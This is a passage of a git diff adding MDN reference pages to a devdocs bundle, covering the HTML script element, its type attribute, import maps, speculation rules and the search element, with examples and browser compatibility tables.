+  font-weight: bold;
+}
+
+.cursor {
+  color: #00b;
+}
+
+

This gives the prompt and cursor fairly subtle colorization and emboldens the keyboard input within the sample text.

Result

The resulting output is this:

+
+ + +
+
+

Technical summary

+
Content categories Flow content, phrasing content, palpable content.
Permitted content +Phrasing content.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts phrasing content.
Implicit ARIA role generic
Permitted ARIA roles Any
DOM interface HTMLElement
+

Specifications

+
+ + +
Specification
HTML Standard
# the-samp-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
samp1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/samp +

+
diff --git a/devdocs/html/element%2Fscript%2Ftype%2Fimportmap.html b/devdocs/html/element%2Fscript%2Ftype%2Fimportmap.html new file mode 100644 index 00000000..f9c27c4c --- /dev/null +++ b/devdocs/html/element%2Fscript%2Ftype%2Fimportmap.html @@ -0,0 +1,159 @@ +

<script type="importmap">

+

The importmap value of the type attribute of the <script> element indicates that the body of the element contains an import map.

An import map is a JSON object that allows developers to control how the browser resolves module specifiers when importing JavaScript modules. It provides a mapping between the text used as the module specifier in an import statement or import() operator, and the corresponding value that will replace the text when resolving the specifier. The JSON object must conform to the Import map JSON representation format.

An import map is used to resolve module specifiers in static and dynamic imports, and therefore must be declared and processed before any <script> elements that import modules using specifiers declared in the map. Note that the import map applies only to module specifiers in the import statement or import() operator; it does not apply to the path specified in the src attribute of a <script> element.

For more information, see the Importing modules using import maps section in the JavaScript modules guide.

+
+

Syntax

+
+
+

html

+
<script type="importmap">
+  // JSON object defining import
+</script>
+
+

The src, async, nomodule, defer, crossorigin, integrity, and referrerpolicy attributes must not be specified.

Only the first import map in the document with an inline definition is processed; any additional import maps and external import maps are ignored.

+
+

Exceptions

+
+
TypeError

The import map definition is not a JSON object, the importmap key is defined but its value is not a JSON object, or the scopes key is defined but its value is not a JSON object.

Browsers generate console warnings for other cases where the import map JSON does not conform to the import map schema.

An error event is fired at script elements with type="importmap" that are not processed. This might occur, for example, if module loading has already started when an import map is processed, or if multiple import maps are defined in the page.

+
+

Description

+
+

When importing a JavaScript module, both the import statement and import() operator have a "module specifier" that indicates the module to be imported. A browser must be able to resolve this specifier to an absolute URL in order to import the module.

For example, the following statements import elements from the module specifier "./modules/shapes/square.js", which is a path relative to the base URL of the document, and the module specifier "https://example.com/shapes/circle.js", which is an absolute URL.

+

js

+
import { name as squareName, draw } from "./modules/shapes/square.js";
+import { name as circleName } from "https://example.com/shapes/circle.js";
+
+

Import maps allow developers to specify (almost) any text they want in the module specifier; the map provides a corresponding value that will replace the text when the module specifier is resolved.

+
+

Bare modules

+
+

The import map below defines an imports key that has a "module specifier map" with properties square and circle.

+

html

+
<script type="importmap">
+  {
+    "imports": {
+      "square": "./module/shapes/square.js",
+      "circle": "https://example.com/shapes/circle.js"
+    }
+  }
+</script>
+
+

With this import map we can import the same modules as above, but using "bare modules" in our module specifiers:

+

js

+
import { name as squareName, draw } from "square";
+import { name as circleName } from "circle";
+
+
+
+

Mapping path prefixes

+
+

A module specifier map key can also be used to remap a path prefix in a module specifier. Note that in this case the property and mapped path must both have a trailing forward slash (/).

+

html

+
<script type="importmap">
+  {
+    "imports": {
+      "shapes/": "./module/shapes/",
+      "othershapes/": "https://example.com/modules/shapes/"
+    }
+  }
+</script>
+
+

We could then import a circle module as shown.

+

js

+
import { name as circleName } from "shapes/circle.js";
+
+
+
+

Paths in the module specifier map key

+
+

Module specifier keys do not have to be single word names ("bare names"). They can also contain or end with path separators, or be absolute URLs, or be relative URL paths that start with /, ./, or ../.

+

json

+
{
+  "imports": {
+    "modules/shapes/": "./module/src/shapes/",
+    "modules/square": "./module/src/other/shapes/square.js",
+    "https://example.com/modules/square.js": "./module/src/other/shapes/square.js",
+    "../modules/shapes/": "/modules/shapes/"
+  }
+}
+
+

If there are several module specifier keys in a module specifier map that might match, then the most specific key will be selected (i.e. the one with the longer path/value).

A module specifier of ./foo/../js/app.js would be resolved to ./js/app.js before matching. This means that a module specifier key of ./js/app.js would match the module specifier even though they are not exactly the same.

+
+

Scoped module specifier maps

+
+

You can use the scopes key to provide mappings that are only used if the script importing the module contains a particular URL path. If the URL of the loading script matches the supplied path, the mapping associated with the scope will be used. This allows different versions of the module to be used depending on what code is doing the importing.

For example, the map below will only use the scoped map if the loading module has a URL that includes the path: "/modules/customshapes/".

+

html

+
<script type="importmap">
+  {
+    "imports": {
+      "square": "./module/shapes/square.js"
+    },
+    "scopes": {
+      "/modules/customshapes/": {
+        "square": "https://example.com/modules/shapes/square.js"
+      }
+    }
+  }
+</script>
+
+

If multiple scopes match the referrer URL, then the most specific scope path is used (the scope key name with the longest name). The browser falls back to the next most specific scoped path if there is no matching specifier, and so on, eventually falling back to the module specifier map in the imports key.

+
+

Import map JSON representation

+
+

The following is a "formal" definition of the import map JSON representation.

The import map must be a valid JSON object that can define at most two optional keys: imports and scopes. Each key's value must be an object, which may be empty.

+imports Optional +

The value is a module specifier map, which provides the mappings between module specifier text that might appear in an import statement or import() operator, and the text that will replace it when the specifier is resolved.

This is the fallback map that is searched for matching module specifiers if no scopes path URLs match, or if module specifier maps in matching scopes paths do not contain a key that matches the module specifier.

<module specifier map>

A "module specifier map" is a valid JSON object where the keys are text that may be present in the module specifier when importing a module, and the corresponding values are the URLs or paths that will replace this text when the module specifier is resolved to an address.

The module specifier map JSON object has the following requirements:

  • None of the keys may be empty.
  • All of the values must be strings, defining either a valid absolute URL or a valid URL string that starts with /, ./, or ../.
  • If a key ends with /, then the corresponding value must also end with /. A key with a trailing / can be used as a prefix for when mapping (or remapping) modules addresses.
  • The object properties' ordering is irrelevant: if multiple keys can match the module specifier, the most specific key is used (in other words, a specifier "olive/branch/" would match before "olive/").
+scopes Optional +

Scopes define path-specific module specifier maps, allowing the choice of map to depend on the path of the code importing the module.

The scopes object is a valid JSON object where each property is a <scope key>, which is an URL path, with a corresponding value that is a <module specifier map>.

If the URL of a script importing a module matches a <scope key> path, then the <module specifier map> value associated with the key is checked for matching specifiers first. If there are multiple matching scope keys, then the value associated with the most specific/nested scope paths are checked for matching module specifiers first. The fallback module specifier map in imports is used if there are no matching module specifier keys in any of the matching scoped module specifier maps.

Note that the scope does not change how an address is resolved; relative addresses are always resolved to the import map base URL.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# import-map
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
importmap8989108No7516.489891086316.415.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap +

+
diff --git a/devdocs/html/element%2Fscript%2Ftype%2Fspeculationrules.html b/devdocs/html/element%2Fscript%2Ftype%2Fspeculationrules.html new file mode 100644 index 00000000..3e0a83bd --- /dev/null +++ b/devdocs/html/element%2Fscript%2Ftype%2Fspeculationrules.html @@ -0,0 +1,258 @@ +

<script type="speculationrules">

+

The speculationrules value of the type attribute of the <script> element indicates that the body of the element contains speculation rules.

Speculation rules take the form of a JSON structure that determine what resources should be prefetched or prerendered by the browser. This is part of the Speculation Rules API.

+
+

Syntax

+
+
+

html

+
<script type="speculationrules">
+  // JSON object defining rules
+</script>
+
+

Note: The src, async, nomodule, defer, crossorigin, integrity, and referrerpolicy attributes must not be specified.

+
+

Exceptions

+
TypeError

The speculation rules definition is not a valid JSON object.

+

Description

+
+

A <script type="speculationrules"> element must contain a valid JSON structure that defines speculation rules. The following examples show separate prefetch and prerender rules:

+

html

+
<script type="speculationrules">
+  {
+    "prefetch": [
+      {
+        "source": "list",
+        "urls": ["next.html", "next2.html"],
+        "requires": ["anonymous-client-ip-when-cross-origin"],
+        "referrer_policy": "no-referrer"
+      }
+    ]
+  }
+</script>
+
+
+

html

+
<script type="speculationrules">
+  {
+    "prerender": [
+      {
+        "source": "list",
+        "urls": ["next3.html", "next4.html"]
+      }
+    ]
+  }
+</script>
+
+
+
+

Speculation rules JSON representation

+
+

The JSON structure contains one or more fields at the top level, each one representing an action to define speculation rules for. At present the supported actions are:

+"prefetch" Optional +

Rules for potential future navigations that should have their associated document response body downloaded, leading to significant performance improvements when those documents are navigated to. Note that none of the subresources referenced by the page are downloaded.

+"prerender" Optional +

Rules for potential future navigations that should have their associated documents fully downloaded, rendered, and loaded into an invisible tab. This includes loading all subresources, running all JavaScript, and even loading subresources and performing data fetches started by JavaScript. When those documents are navigated to, navigations will be instant, leading to major performance improvements.

Note: Consult the Speculation Rules API main page for full details on how to use prefetch and prerender effectively.

Each action field contains an array, which in turn contains one or more objects. Each object contains a single rule defining a set of URLs and related parameters.

Specifically, each object can contain the following properties:

"source"

A string representing the source of the URLs to which the rule applies. Possible values are:

"list"

Denotes that the URLs will come from a specific list.

"urls"

An array of strings representing the list of URLs to apply the rule to. These can be absolute or relative URLs. Relative URLs will be parsed relative to the document base URL (if inline in a document) or relative to the external resource URL (if externally fetched).

+"requires" Optional +

An array of strings representing capabilities of the browser parsing the rule, which must be available if the rule is to be applied to the specified URLs.

Warning: Prefetches will automatically fail in browsers that cannot meet a specified requirement, even if they support the Speculation Rules API.

Possible values are:

"anonymous-client-ip-when-cross-origin"

"prefetch"-only. Specifies that the rule matches only if the user agent can prevent the client IP address from being visible to the origin server if a cross-origin prefetch request is issued. Exactly how this works is dependent on browser implementation specifics. For example:

  • Chrome's implementation hides the IP address using a Google-owned proxy, therefore by default it only works for Google-controlled referrers (since in that case, sending the URLs of the destination to Google is not an additional privacy leak). When used on a non-Google-owned site, rules that include this will only match for users that turn on "Enhanced preloading" in chrome://settings/preloading.
  • Other Chromium-based browsers will have to provide their own solutions. Thorough testing in all target browsers is advised.
  • A future Safari implementation may possibly use something along the lines of iCloud Private Relay.
  • A future Firefox implementation might use something based on the Mozilla VPN product.
+"referrer_policy" Optional +

A string representing a specific referrer policy string to use when requesting the URLs specified in the rule — see Referrer-Policy for possible values. The purpose of this is to allow the referring page to set a stricter policy specifically for the speculative request than the policy the page already has set (either by default, or by using Referrer-Policy). A laxer policy set in the speculation rules will not override a stricter policy set on the referring page.

Note: As speculation rules use a <script> element, they need to be explicitly allowed in the Content-Security-Policy script-src directive if the site includes it. This is done by adding the "inline-speculation-rules" value along with a hash- or nonce-source.

+
+

Further examples

+
+

The earlier examples showed separate speculation rules defined for prefetch and prerender. It is possible to define both in a single set of rules:

+

html

+
<script type="speculationrules">
+  {
+    "prefetch": [
+      {
+        "source": "list",
+        "urls": ["next.html", "next2.html"],
+        "requires": ["anonymous-client-ip-when-cross-origin"],
+        "referrer_policy": "no-referrer"
+      }
+    ],
+    "prerender": [
+      {
+        "source": "list",
+        "urls": ["next3.html", "next4.html"]
+      }
+    ]
+  }
+</script>
+
+

It is also allowable to include multiple sets of rules in a single HTML file:

+

html

+
<script type="speculationrules">
+  {
+    "prefetch": [
+      {
+        "source": "list",
+        "urls": ["next.html", "next2.html"],
+        "requires": ["anonymous-client-ip-when-cross-origin"],
+        "referrer_policy": "no-referrer"
+      }
+    ]
+  }
+</script>
+<script type="speculationrules">
+  {
+    "prerender": [
+      {
+        "source": "list",
+        "urls": ["next3.html", "next4.html"]
+      }
+    ]
+  }
+</script>
+
+

And multiple rules in a single result set:

+

js

+
<script type="speculationrules">
+{
+  "prerender": [
+    {
+      "source": "list",
+      "urls": ["one.html"]
+    },
+    {
+      "source": "list",
+      "urls": ["two.html"]
+    }
+  ]
+}
+</script>
+
+
+
+

Dynamic rule insertion

+
+

Below is an example that feature detects speculation rules and, if supported, dynamically adds a prerender speculation rule via JavaScript:

+

js

+
if (
+  HTMLScriptElement.supports &&
+  HTMLScriptElement.supports("speculationrules")
+) {
+  const specScript = document.createElement("script");
+  specScript.type = "speculationrules";
+  const specRules = {
+    prerender: [
+      {
+        source: "list",
+        urls: ["/next.html"],
+      },
+    ],
+  };
+  specScript.textContent = JSON.stringify(specRules);
+  console.log("added speculation rules to: next.html");
+  document.body.append(specScript);
+}
+
+

You can see this in action in this prerender demos page.

+
+

Specifications

+
+ + +
Specification
Speculation Rules
# speculation-rules-script
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
speculationrules109
105Initial support included same-origin prerendering only.
+		109
105Initial support included same-origin prerendering only.
+		NoNo95
91Initial support included same-origin prerendering only.
+		No109
103Initial support included same-origin prerendering only.
+		109
103Initial support included same-origin prerendering only.
+		No74
71Initial support included same-origin prerendering only.
+		No21.0
20.0Initial support included same-origin prerendering only.
+
prefetch110110NoNo96No103103No71No20.0
referrer_policy111111NoNo97No111111NoNoNo22.0
requires110110NoNo96No103103No71No20.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/speculationrules +

+
diff --git a/devdocs/html/element%2Fscript%2Ftype.html b/devdocs/html/element%2Fscript%2Ftype.html new file mode 100644 index 00000000..45f928a6 --- /dev/null +++ b/devdocs/html/element%2Fscript%2Ftype.html @@ -0,0 +1,111 @@ +

<script>: type attribute

The type attribute of the <script> element indicates the type of script represented by the element: a classic script, an import map, a JavaScript module, speculation rules, or a data block.

+

Value

+
+

The value of this attribute indicates the type of data represented by the script, and will be one of the following:

Attribute is not set (default), an empty string, or a JavaScript MIME type

Indicates that the script is a "classic script", containing JavaScript code. Authors are encouraged to omit the attribute if the script refers to JavaScript code rather than specify a MIME type. JavaScript MIME types are listed in the IANA media types specification.

importmap

This value indicates that the body of the element contains an import map. The import map is a JSON object that developers can use to control how the browser resolves module specifiers when importing JavaScript modules.

module

This value causes the code to be treated as a JavaScript module. The processing of the script contents is deferred. The charset and defer attributes have no effect. For information on using module, see our JavaScript modules guide. Unlike classic scripts, module scripts require the use of the CORS protocol for cross-origin fetching.

+speculationrules +

This value indicates that the body of the element contains speculation rules. Speculation rules take the form of a JSON object that determine what resources should be prefetched or prerendered by the browser. This is part of the speculation rules API.

Any other value

The embedded content is treated as a data block, and won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. All of the other attributes will be ignored, including the src attribute.

Note: In earlier browsers, the type identified the scripting language of the embedded or imported (via the src attribute) code.

+
+

Specifications

+
+No specification found

No specification data found for html.elements.script.type.
Check for problems with this page or contribute a missing spec_url to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

+
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
type1121Yes15≤44.418414≤3.21.0
importmap8989108No7516.489891086316.415.0
module
61Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
 +
79Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
16–79		60No
48Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
10.1Module scripts do not load when the page is served as XHTML (application/xhtml+xml).
61Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
61Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
60
45Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
10.3Module scripts do not load when the page is served as XHTML (application/xhtml+xml).
8.0Module scripts without the async attribute do not load when the page is served as XHTML (application/xhtml+xml). See bug 717643.
speculationrules109
105Initial support included same-origin prerendering only.
+		109
105Initial support included same-origin prerendering only.
+		NoNo95
91Initial support included same-origin prerendering only.
+		No109
103Initial support included same-origin prerendering only.
+		109
103Initial support included same-origin prerendering only.
+		No74
71Initial support included same-origin prerendering only.
+		No21.0
20.0Initial support included same-origin prerendering only.
+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type +

+
diff --git a/devdocs/html/element%2Fscript.html b/devdocs/html/element%2Fscript.html new file mode 100644 index 00000000..27283eb7 --- /dev/null +++ b/devdocs/html/element%2Fscript.html @@ -0,0 +1,361 @@ +

<script>: The Script element

+

The <script> HTML element is used to embed executable code or data; this is typically used to embed or refer to JavaScript code. The <script> element can also be used with other languages, such as WebGL's GLSL shader programming language and JSON.

Content categories Metadata content, Flow content, Phrasing content.
Permitted content Dynamic script such as text/javascript.
Tag omission None, both the starting and ending tag are mandatory.
Permitted parents Any element that accepts metadata content, or any element that accepts phrasing content.
Implicit ARIA role No corresponding role
Permitted ARIA roles No role permitted
DOM interface HTMLScriptElement
+
+

Attributes

+
+

This element includes the global attributes.

async

For classic scripts, if the async attribute is present, then the classic script will be fetched in parallel to parsing and evaluated as soon as it is available.

For module scripts, if the async attribute is present then the scripts and all their dependencies will be fetched in parallel to parsing and evaluated as soon as they are available.

This attribute allows the elimination of parser-blocking JavaScript where the browser would have to load and evaluate scripts before continuing to parse. defer has a similar effect in this case.

This is a boolean attribute: the presence of a boolean attribute on an element represents the true value, and the absence of the attribute represents the false value.

See Browser compatibility for notes on browser support. See also Async scripts for asm.js.

+blocking +

This attribute explicitly indicates that certain operations should be blocked on the fetching of the script. The operations that are to be blocked must be a space-separated list of blocking attributes listed below.

  • +render: The rendering of content on the screen is blocked.
crossorigin

Normal script elements pass minimal information to the window.onerror for scripts which do not pass the standard CORS checks. To allow error logging for sites which use a separate domain for static media, use this attribute. See CORS settings attributes for a more descriptive explanation of its valid arguments.

defer

This Boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed, but before firing DOMContentLoaded.

Scripts with the defer attribute will prevent the DOMContentLoaded event from firing until the script has loaded and finished evaluating.

Warning: This attribute must not be used if the src attribute is absent (i.e. for inline scripts), in this case it would have no effect.

The defer attribute has no effect on module scripts — they defer by default.

Scripts with the defer attribute will execute in the order in which they appear in the document.

This attribute allows the elimination of parser-blocking JavaScript where the browser would have to load and evaluate scripts before continuing to parse. async has a similar effect in this case.

+fetchpriority +

Provides a hint of the relative priority to use when fetching an external script. Allowed values:

high

Signals a high-priority fetch relative to other external scripts.

low

Signals a low-priority fetch relative to other external scripts.

auto

Default: Signals automatic determination of fetch priority relative to other external scripts.

integrity

This attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See Subresource Integrity.

nomodule

This Boolean attribute is set to indicate that the script should not be executed in browsers that support ES modules — in effect, this can be used to serve fallback scripts to older browsers that do not support modular JavaScript code.

nonce

A cryptographic nonce (number used once) to allow scripts in a script-src Content-Security-Policy. The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial.

referrerpolicy

Indicates which referrer to send when fetching the script, or resources fetched by the script:

  • +no-referrer: The Referer header will not be sent.
  • +no-referrer-when-downgrade: The Referer header will not be sent to origins without TLS (HTTPS).
  • +origin: The sent referrer will be limited to the origin of the referring page: its scheme, host, and port.
  • +origin-when-cross-origin: The referrer sent to other origins will be limited to the scheme, the host, and the port. Navigations on the same origin will still include the path.
  • +same-origin: A referrer will be sent for same origin, but cross-origin requests will contain no referrer information.
  • +strict-origin: Only send the origin of the document as the referrer when the protocol security level stays the same (HTTPS→HTTPS), but don't send it to a less secure destination (HTTPS→HTTP).
  • +strict-origin-when-cross-origin (default): Send a full URL when performing a same-origin request, only send the origin when the protocol security level stays the same (HTTPS→HTTPS), and send no header to a less secure destination (HTTPS→HTTP).
  • +unsafe-url: The referrer will include the origin and the path (but not the fragment, password, or username). This value is unsafe, because it leaks origins and paths from TLS-protected resources to insecure origins.

Note: An empty string value ("") is both the default value, and a fallback value if referrerpolicy is not supported. If referrerpolicy is not explicitly specified on the <script> element, it will adopt a higher-level referrer policy, i.e. one set on the whole document or domain. If a higher-level policy is not available, the empty string is treated as being equivalent to strict-origin-when-cross-origin.

src

This attribute specifies the URI of an external script; this can be used as an alternative to embedding a script directly within a document.

type

This attribute indicates the type of script represented. The value of this attribute will be one of the following:

Attribute is not set (default), an empty string, or a JavaScript MIME type

Indicates that the script is a "classic script", containing JavaScript code. Authors are encouraged to omit the attribute if the script refers to JavaScript code rather than specify a MIME type. JavaScript MIME types are listed in the IANA media types specification.

importmap

This value indicates that the body of the element contains an import map. The import map is a JSON object that developers can use to control how the browser resolves module specifiers when importing JavaScript modules.

module

This value causes the code to be treated as a JavaScript module. The processing of the script contents is deferred. The charset and defer attributes have no effect. For information on using module, see our JavaScript modules guide. Unlike classic scripts, module scripts require the use of the CORS protocol for cross-origin fetching.

+speculationrules +

This value indicates that the body of the element contains speculation rules. Speculation rules take the form of a JSON object that determine what resources should be prefetched or prerendered by the browser. This is part of the speculation rules API.

Any other value

The embedded content is treated as a data block, and won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. All of the other attributes will be ignored, including the src attribute.

+
+

Deprecated attributes

+
+charset +

If present, its value must be an ASCII case-insensitive match for "utf-8". It's unnecessary to specify the charset attribute, because documents must use UTF-8, and the script element inherits its character encoding from the document.

+language +

Like the type attribute, this attribute identifies the scripting language in use. Unlike the type attribute, however, this attribute's possible values were never standardized. The type attribute should be used instead.

+

Notes

+
+

Scripts without async, defer or type="module" attributes, as well as inline scripts without the type="module" attribute, are fetched and executed immediately before the browser continues to parse the page.

The script should be served with the text/javascript MIME type, but browsers are lenient and only block them if the script is served with an image type (image/*), a video type (video/*), an audio type (audio/*), or text/csv. If the script is blocked, an error event is sent to the element; otherwise, a load event is sent.

+
+

Examples

+ +

Basic usage

+
+

These examples show how to import (an external) script using the <script> element.

+

html

+
<script src="javascript.js"></script>
+
+

And the following examples show how to put (an inline) script inside the <script> element.

+

html

+
<script>
+  alert("Hello World!");
+</script>
+
+
+
+

Module fallback

+
+

Browsers that support the module value for the type attribute ignore any script with a nomodule attribute. That enables you to use module scripts while providing nomodule-marked fallback scripts for non-supporting browsers.

+

html

+
<script type="module" src="main.js"></script>
+<script nomodule src="fallback.js"></script>
+
+
+
+

Importing modules with importmap

+
+

When importing modules in scripts, if you don't use the type=importmap feature, then each module must be imported using a module specifier that is either an absolute or relative URL. In the example below, the first module specifier ("./shapes/square.js") resolves relative to the base URL of the document, while the second is an absolute URL.

+

js

+
import { name as squareName, draw } from "./shapes/square.js";
+import { name as circleName } from "https://example.com/shapes/circle.js";
+
+

An import map allows you to provide a mapping that, if matched, can replace the text in the module specifier. The import map below defines keys square and circle that can be used as aliases for the module specifiers shown above.

+

html

+
<script type="importmap">
+  {
+    "imports": {
+      "square": "./shapes/square.js",
+      "circle": "https://example.com/shapes/circle.js"
+    }
+  }
+</script>
+
+

This allows us to import modules using names in the module specifier (rather than absolute or relative URLs).

+

js

+
import { name as squareName, draw } from "square";
+import { name as circleName } from "circle";
+
+

For more examples of what you can do with import maps, see the Importing modules using import maps section in the JavaScript modules guide.

+
+

Embedding data in HTML

+
+

You can also use the <script> element to embed data in HTML with server-side rendering by specifying a valid non-JavaScript MIME type in the type attribute.

+

html

+
<!-- Generated by the server -->
+<script id="data" type="application/json">
+  {
+    "userId": 1234,
+    "userName": "Maria Cruz",
+    "memberSince": "2000-01-01T00:00:00.000Z"
+  }
+</script>
+
+<!-- Static -->
+<script>
+  const userInfo = JSON.parse(document.getElementById("data").text);
+  console.log("User information: %o", userInfo);
+</script>
+
+
+
+

Blocking rendering till a script is fetched and executed

+
+

You can include render token inside a blocking attribute; the rendering of the page will be blocked till the script is fetched and executed. In the example below, we block rendering on an async script, so that the script doesn't block parsing but is guaranteed to be evaluated before rendering starts.

+

html

+
<script blocking="render" async src="async-script.js"></script>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-script-element
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
script112
1Starting in Firefox 4, inserting <script> elements that have been created by calling document.createElement("script") no longer enforces execution in insertion order. This change lets Firefox properly abide by the specification. To make script-inserted external scripts execute in their insertion order, set .async=false on them.
Yes≤12.134.4184≤12.121.0
async1121Yes15≤44.418414≤3.21.0
attributionsrc117117NoNo103No117117NoNoNoNo
blocking105105NoNo91No105105No72No20.0
crossorigin191414No12
6The crossorigin attribute was implemented in WebKit in WebKit bug 81438.
4.4251412
6The crossorigin attribute was implemented in WebKit in WebKit bug 81438.
1.5
defer
1Chrome does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
12
3.5Since Firefox 3.6, the defer attribute is ignored on scripts that don't have the src attribute. However, in Firefox 3.5 even inline scripts are deferred if the defer attribute is set.
10Before version 10, Internet Explorer implemented defer by a proprietary specification. Since version 10 it conforms to the W3C specification.
15Opera does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
3
4.4Chrome does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
18Chrome does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
4
14Opera does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
2
1.0Samsung Internet does not defer scripts with the defer attribute when the page is served as XHTML (application/xhtml+xml) - Chromium Issue #611136, Chromium Issue #874749
fetchpriority101101NoNoNopreview101101No70No19.0
integrity451743No3211.1454543No11.35.0
language1121Yes15≤44.418414≤3.21.0
nomodule611660No481161616045118.0
referrerpolicy70≤7965No5714707065No1410.0
src1121Yes15≤44.418414≤3.21.0
text1121Yes15≤44.418414≤3.21.0
type1121Yes15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script +

+
diff --git a/devdocs/html/element%2Fsearch.html b/devdocs/html/element%2Fsearch.html new file mode 100644 index 00000000..b8645a03 --- /dev/null +++ b/devdocs/html/element%2Fsearch.html @@ -0,0 +1,147 @@ +

<search>: The generic search element

The <search> HTML element is a container representing the parts of the document or application with form controls or other content related to performing a search or filtering operation. The <search> element semantically identifies the purpose of the element's contents as having search or filtering capabilities. The search or filtering functionality can be for the website or application, the current web page or document, or the entire Internet or subsection thereof.

+

Attributes

+

This element only includes the global attributes.

+

Usage notes

+

The <search> element is not for presenting search results. Rather, search or filtered results should be presented as part of the main content of that web page. That said, suggestions and links that are part of "quick search" functionality within the search or filtering functionality are appropriately nested within the contents of the <search> element as they are search features.

+

Accessibility

+

The <search> element defines a search landmark. This removes the need for adding role=search to a <form> element.

+

Examples

+ +

Header search form

+
+

This example demonstrates the use of <search> as the container for a search within a website header to perform a simple site-wide search. The <search> is a semantic container for the <form> that submits the user-entered search query to a server.

HTML

+

html

+
<header>
+  <h1>Movie website</h1>
+  <search>
+    <form action="./search/">
+      <label for="movie">Find a Movie</label>
+      <input type="search" id="movie" name="q" />
+      <button type="submit">Search</button>
+    </form>
+  </search>
+</header>
+
+

Result

+
+ + +
+
+ +
+

This example demonstrates potential DOM content when dynamically including JavaScript search functionality in a web application. When search functionality is implemented entirely with JavaScript, if no form is submitted, neither a <form> element nor a submit <button> is required. For semantics, the <search> element is included to contain the search and filtering capabilities.

HTML

+

html

+
<search>
+  <label>
+    Find and filter your query
+    <input type="search" id="query" />
+  </label>
+  <label>
+    <input type="checkbox" id="exact-only" />
+    Exact matches only
+  </label>
+
+  <section>
+    <h3>Results:</h3>
+    <ul id="results">
+      <!-- search result content -->
+    </ul>
+    <output id="no-results">
+      <!-- no results content -->
+    </output>
+  </section>
+</search>
+
+

Result

+
+ + +

Note: Remember that some users don't have JavaScript, and none of your users have JavaScript running until the JavaScript is successfully downloaded, parsed, and executed, ensure your users can access the content of your site with JavaScript disabled.

+
+

Multiple searches

+
+

This example demonstrates a page with two search features. The first is a global site search located on the header. The second is a search and filter based on the page context, in our example a car search.

HTML

+

html

+
<body>
+  <header>
+    <h1>Car rental agency</h1>
+    <search title="Website">...</search>
+  </header>
+  <main>
+    <h2>Cars available for rent</h2>
+    <search title="Cars">
+      <h3>Filter results</h3>
+      ...
+    </search>
